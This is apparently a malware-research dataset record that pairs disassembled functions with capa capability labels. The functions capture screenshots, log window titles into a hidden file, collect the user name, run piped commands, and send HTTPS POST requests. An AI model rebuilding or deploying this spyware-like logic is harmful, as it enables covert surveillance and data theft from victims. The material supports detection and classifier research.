joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6a94169a
Capabilities:
Capture screenshot

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x98], rbx
lea r13, [rsp + 0x78]
mov qword [rsp + 0x78], rax
cmp rbx, 7
jbe 0x6a9416fc
lea rdx, [rsp + 0x98]
xor r8d, r8d
mov rcx, r13
call fcn.6a9450e8
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x78]
xor eax, eax
cmp rax, rbx
je 0x6a941716
movsx cx, byte [rsi + rax]
mov word [rdx + rax*2], cx
inc rax
jmp 0x6a941703
mov rdx, qword [rsp + 0x98]
mov rcx, r13
call fcn.6a9450f0
mov edx, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_MonitorFromPoint]
mov rcx, rax
test rax, rax
je 0x6a9418b6
mov dword [rsp + 0x98], 0x48
lea rdx, [rsp + 0x98]
call qword [sym.imp.USER32.dll_GetMonitorInfoA]
test eax, eax
jne 0x6a94176d
mov rcx, qword [0x6a94d0c8]
call sub.gdiplus.dll_GdiplusShutdown
jmp 0x6a9418b6
mov ebx, dword [rsp + 0xa4]
mov ebp, dword [rsp + 0xa8]
xor ecx, ecx
sub ebx, dword [rsp + 0x9c]
sub ebp, dword [rsp + 0xa0]
call qword [sym.imp.USER32.dll_GetDC]
mov r12, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r14, rax
mov r8d, ebp
mov edx, ebx
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, qword [sym.imp.GDI32.dll_SelectObject]
mov r15, rax
mov rdx, rax
mov rcx, r14
call rdi
mov dword [rsp + 0x40], 0xcc0020
mov rsi, rax
mov r9d, ebx
xor edx, edx
mov dword [rsp + 0x38], 0
xor r8d, r8d
mov rcx, r14
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_BitBlt]
lea rbp, [rsp + 0x50]
lea rax, fcn.6a946b10
xor edx, edx
mov rcx, r15
mov r8, rbp
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], 0
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x50]
mov rdx, rbp
lea rcx, str.image_jpeg
lea rbx, [rsp + 0x60]
mov qword [rsp + 0x68], rax
call fcn.6a9415e8
jmp 0x6a94186c
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov r8, rbp
call sub.gdiplus.dll_GdipSaveImageToFile
test eax, eax
je 0x6a941889
mov dword [rsp + 0x70], eax
mov rdx, rsi
mov rcx, r14
call rdi
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, rbx
call fcn.6a946b10
mov rcx, r13
call fcn.6a9450f8
nop
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6a941ae4
Capabilities:
Create process on windows
Terminate process

Disassembly:
push r12
push rdi
sub rsp, 0xd8
mov r12, rcx
mov rcx, qword [0x6a94d0c8]
call sub.gdiplus.dll_GdiplusShutdown
lea rdx, [rsp + 0x68]
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x50]
mov rdi, rdx
mov ecx, 0x1a
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor r8d, r8d
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r12
mov rcx, qword [rsp + 0x58]
call r12
mov rcx, qword [0x6a94d0c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x6a94202d
Capabilities:
Get file attributes
Get graphical window text
Set file attributes

Disassembly:
push r15
push r14
push r13
push r12
sub rsp, 0x708
mov rdx, qword [0x6a94d040]
mov r8d, 5
lea r12, [rsp + 0x130]
mov r14, rcx
mov rcx, r12
call fcn.6a9451b0
mov rcx, qword [0x6a94d040]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
je 0x6a942079
test byte [rsp + 0x218], 5
je 0x6a94208d
jmp 0x6a9420ae
or eax, 2
mov rcx, qword [0x6a94d040]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x6a94206d
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
test rax, rax
jne 0x6a9420c7
mov rdx, r14
mov rcx, r12
call fcn.6a9450b8
mov rcx, r12
call fcn.6a9451b8
mov rcx, r12
call fcn.6a9451a0
nop
add rsp, 0x708
pop r12
pop r13
pop r14
pop r15
ret
lea r15, [rsp + 0x300]
mov r8d, 0x400
mov rdx, r15
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, [rsp + 0x40]
lea r13, [rsp + 0x30]
cdqe
xor r9d, r9d
mov qword [rsp + 0x30], rdx
lea r8, [r15 + rax]
mov rdx, r15
mov rcx, r13
call fcn.6a947100
mov rdx, r13
lea rcx, [0x6a94d080]
call fcn.6a945118
mov rcx, r13
call fcn.6a945188
lea rdx, [0x6a94d060]
lea rcx, [0x6a94d080]
call fcn.6a947180
test al, al
jne 0x6a94209b
lea rdx, [0x6a94d080]
lea rcx, [0x6a94d060]
call fcn.6a945140
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.msvcrt.dll__localtime64]
mov edx, 0x100
mov rcx, r13
mov r9, rax
lea r8, [0x6a9490dc]
call sub.msvcrt.dll_strftime
lea rdx, [0x6a9490df]
mov rcx, r12
call fcn.6a9450b8
mov rcx, rax
lea rdx, [0x6a94d080]
call fcn.6a9450b0
mov rcx, rax
lea rdx, str._____
call fcn.6a9450b8
mov rcx, rax
mov rdx, r13
call fcn.6a9450b8
mov rcx, rax
lea rdx, [0x6a9490e9]
call fcn.6a9450b8
jmp 0x6a94209b
Function at 0x6a942f37
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push r14
mov eax, 0x13d0
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6a946620
sub rsp, rax
mov r13, rcx
mov esi, edx
lea rax, [rsp + 0x30]
mov byte [rsp + 0x30], 0
lea r12, [rsp + 0xa08]
lea rdx, str.mt19937
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rcx, r12
call fcn.6a942f04
lea r14, [rsp + 0x40]
mov rdx, r12
mov rcx, r14
call fcn.6a9451e0
mov rcx, r12
call fcn.6a945188
mov rcx, r14
call fcn.6a9451d8
mov dword [rsp + 0xa08], eax
mov edx, 1
jmp 0x6a942fc3
mov eax, dword [r12 + rdx*4 - 4]
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [r12 + rdx*4], eax
inc rdx
cmp rdx, 0x270
jne 0x6a942fc3
xor ebx, ebx
mov edi, 0x9d89d89
lea rbp, [rsp + 0x20]
mov qword [rsp + 0x13c8], 0x270
cmp ebx, esi
jge 0x6a943023
mov rcx, r12
call fcn.6a946d20
cmp eax, 0xffffffe9
ja 0x6a943003
xor edx, edx
mov rcx, rbp
div edi
lea edx, [rax + 0x61]
call fcn.6a945130
inc ebx
jmp 0x6a942fff
lea r12, [rsp + 0x20]
lea rdx, str.____
mov rcx, r13
mov r8, r12
call fcn.6a947290
mov rcx, r12
call fcn.6a945188
mov rax, r13
add rsp, 0x13d0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x6a943701
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
mov rbp, rcx
mov rdi, rdx
mov rbx, r8
mov esi, r9d
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.HTTP_1.1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x6a943913
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6a9437a0
mov rcx, r12
mov r12d, 0xe5
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x6a94392e
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, [0x6a9496cd]
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rdi]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6a9437fd
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
mov r12d, 0xe4
call rbx
jmp 0x6a94392e
imul esi, esi, 0x3e8
lea r15, [rsp + 0x50]
mov r9d, 4
mov rcx, rax
lea r8, [rsp + 0x48]
mov edx, 6
mov dword [rsp + 0x48], esi
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, str.Content_Type:_text_html_r_n
mov rcx, r15
call fcn.6a942f04
mov rax, qword [rsp + 0x58]
xor r9d, r9d
mov rcx, r13
mov dword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x50]
lea r8d, [rax - 1]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6a94388f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov rcx, r13
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor r12d, r12d
cmp ebx, 0x2ee2
sete r12b
lea r12d, [r12*4 + 0xe3]
jmp 0x6a943909
mov rax, qword [rbx]
lea rdi, [rsp + 0x4c]
lea rsi, [rsp + 0x70]
mov qword [rbx + 8], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
mov byte [rax], 0
mov dword [rsp + 0x4c], 0
mov r9, rdi
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call rbp
test eax, eax
je 0x6a9438ed
mov eax, dword [rsp + 0x4c]
test eax, eax
je 0x6a9438ed
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + rax + 0x70], 0
call fcn.6a945108
mov dword [rsp + 0x4c], 0
jmp 0x6a9438b6
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe8
mov rcx, r15
call fcn.6a945188
jmp 0x6a94392e
mov r12d, 0xe6
jmp 0x6a94392e
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6a943a2e
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
lea r15, [rsp + 0x50]
mov rbp, rcx
mov rdi, rdx
mov rsi, r8
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, r15
mov rbx, r9
call fcn.6a942f04
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov dword [rsp + 0x20], 0
lea rcx, str.HTTP_1.1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x6a943c35
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6a943ae1
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12d, 0xe5
jmp 0x6a943c50
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, str.POST
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rdi]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6a943b3e
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe4
jmp 0x6a943c50
mov dword [rsp + 0x48], 0xea60
mov r9d, 4
lea r8, [rsp + 0x48]
mov rcx, rax
mov edx, 6
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [rsi + 8]
mov r8d, dword [rsp + 0x58]
mov rcx, r13
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x20], eax
mov r9, qword [rsi]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6a943bb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov rcx, r13
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor r12d, r12d
cmp ebx, 0x2ee2
sete r12b
lea r12d, [r12*4 + 0xe3]
jmp 0x6a943c50
mov rax, qword [rbx]
lea rdi, [rsp + 0x4c]
lea rsi, [rsp + 0x70]
mov qword [rbx + 8], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
mov byte [rax], 0
mov dword [rsp + 0x4c], 0
mov r9, rdi
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call rbp
test eax, eax
je 0x6a943c17
mov eax, dword [rsp + 0x4c]
test eax, eax
je 0x6a943c17
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + rax + 0x70], 0
call fcn.6a945108
mov dword [rsp + 0x4c], 0
jmp 0x6a943be0
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe8
jmp 0x6a943c50
mov r12d, 0xe6
jmp 0x6a943c50
mov rcx, r15
call fcn.6a945188
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x6a943c6f
Capabilities:
Get session user name

Disassembly:
push r13
push r12
sub rsp, 0x138
mov r12, rcx
lea r13, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov dword [rsp + 0x2c], 0x100
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdx, r13
mov rcx, r12
call fcn.6a942f04
mov rax, r12
add rsp, 0x138
pop r12
pop r13
ret
Function at 0x6a943cb2
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x528
xor esi, esi
xor r9d, r9d
mov eax, esi
lea r8, [rsp + 0x68]
mov r12, rcx
mov ecx, 6
mov rbx, rdx
mov rdi, r8
lea rdx, [rsp + 0x60]
rep stosd dword [rdi], eax
mov dword [rsp + 0x68], 0x18
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rdx, str.CreatePipe___failed_n
test eax, eax
je 0x6a943dbb
mov edx, 1
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rdx, str.SetHandleInformation___failed_n
test eax, eax
je 0x6a943dbb
lea rdx, [rsp + 0xb8]
mov eax, esi
xor r9d, r9d
xor r8d, r8d
mov rdi, rdx
mov ecx, 0x16
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov rdx, qword [rbx]
mov dword [rsp + 0xb8], 0x68
mov dword [rsp + 0xf4], 0x100
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x6a943dc8
lea rdx, str.CreateProcess___failed_n
mov rcx, r12
call fcn.6a942f04
jmp 0x6a943e90
mov rcx, qword [rsp + 0x60]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rsp + 0x54]
lea rsi, [rsp + 0x120]
call rbx
lea rax, [rsp + 0xa8]
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], rax
mov byte [rsp + 0xa8], 0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x58]
mov r9, rdi
mov rdx, rsi
mov r8d, 0x400
lea r13, [rsp + 0x98]
call rbp
test eax, eax
je 0x6a943e4d
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x6a943e4d
mov rdx, rsi
mov rcx, r13
call fcn.6a945168
jmp 0x6a943e0e
mov rcx, qword [rsp + 0x80]
call rbx
mov rcx, qword [rsp + 0x88]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
mov rcx, r12
mov rdx, r13
call fcn.6a945128
mov rcx, r13
call fcn.6a945188
jmp 0x6a943e90
mov rax, r12
add rsp, 0x528
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x6a9440a1
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
sub rsp, 0xa8
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x20]
mov rcx, r13
call sym.main.dll_get_exe_name_abi:cxx11___
lea rdx, [0x6a94918c]
mov rcx, r14
call fcn.6a942f04
lea rcx, str.TEMP
lea r15, [rsp + 0x40]
call sub.msvcrt.dll_getenv
mov r8, r14
mov rcx, r15
mov rdx, rax
call fcn.6a947260
lea r12, [rsp + 0x80]
mov r8, r13
mov rdx, r15
mov rcx, r12
call fcn.6a9471e0
mov rdx, r12
lea rcx, [0x6a94d040]
call fcn.6a945118
mov rcx, r12
call fcn.6a945188
mov rcx, r15
call fcn.6a945188
mov rcx, r14
call fcn.6a945188
mov rcx, r13
call fcn.6a945188
or r8, 0xffffffffffffffff
lea rdx, [0x6a94919e]
lea rcx, [0x6a94d040]
call fcn.6a945238
cmp rax, 0xffffffffffffffff
je 0x6a9441a9
lea rdx, [rax + 1]
or r8, 0xffffffffffffffff
lea rcx, [0x6a94d040]
call fcn.6a945178
lea rdx, [0x6a94978a]
lea rcx, [0x6a94d040]
call fcn.6a945170
jmp 0x6a9441a9
add rsp, 0xa8
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6a9455e0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6a9468d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.6a9468d0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x6a945650
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6a94d6c4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x6a9457f8
mov rax, qword [0x6a94d6c8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6a94569c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6a945727
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6a945680
mov rcx, r12
call fcn.6a946350
mov rbp, rax
test rax, rax
je 0x6a945832
mov rax, qword [0x6a94d6c8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.6a946480
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6a94d6c8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6a945841
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6a945720
sub eax, 4
and eax, 0xfffffffb
jne 0x6a9457b0
add dword [0x6a94d6c4], 1
cmp ebx, 8
jae 0x6a945758
test bl, 4
jne 0x6a945800
test ebx, ebx
je 0x6a945749
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x6a945820
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6a945749
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6a94578a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6a94d6c8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6a945720
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6a9455e0
nop dword [rax]
xor edi, edi
jmp 0x6a9456a7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x6a945749
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x6a945749
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.6a9455e0
mov rax, qword [0x6a94d6c8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6a9455e0
nop
nop dword [rax]
Function at 0x6a945fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6a94d9a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6a94d980]
test rbx, rbx
je 0x6a946014
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6a94600b
test r12, r12
je 0x6a94600b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6a945ff0
lea rcx, [0x6a94d9a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6a946350
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6a949ab0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6a9463c9
mov rcx, r10
call fcn.6a946220
test eax, eax
je 0x6a9463c9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6a9463c6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6a9463bd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6a9463c9
add r8, 0x28
cmp r8, r9
jne 0x6a9463a8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x4175e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41776b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435e80
xorps xmm15, xmm15
mov r14, qword [0x00759698]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x417645
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x417654
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x417673
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x417683
cmp rbx, 0x1000
jae 0x41764b
jmp 0x4176ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x417695
xor edx, edx
jmp 0x4176e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435e80
xorps xmm15, xmm15
mov r14, qword [0x00759698]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x417679
jmp 0x417668
call fcn.0046b900
xorps xmm15, xmm15
mov r14, qword [0x00759698]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.0043a3c0
lea rax, [0x00558e63]
mov ebx, 0x18
nop dword [rax]
call fcn.0043ac40
mov rax, qword [rsp + 0x38]
call fcn.0043a980
lea rax, [0x005593ac]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.0043ac40
mov rax, qword [rsp + 0x30]
call fcn.0043a980
call fcn.0043a600
call fcn.0043a420
lea rax, [0x0055bab0]
mov ebx, 0x21
call fcn.00438920
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004681a0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004175e0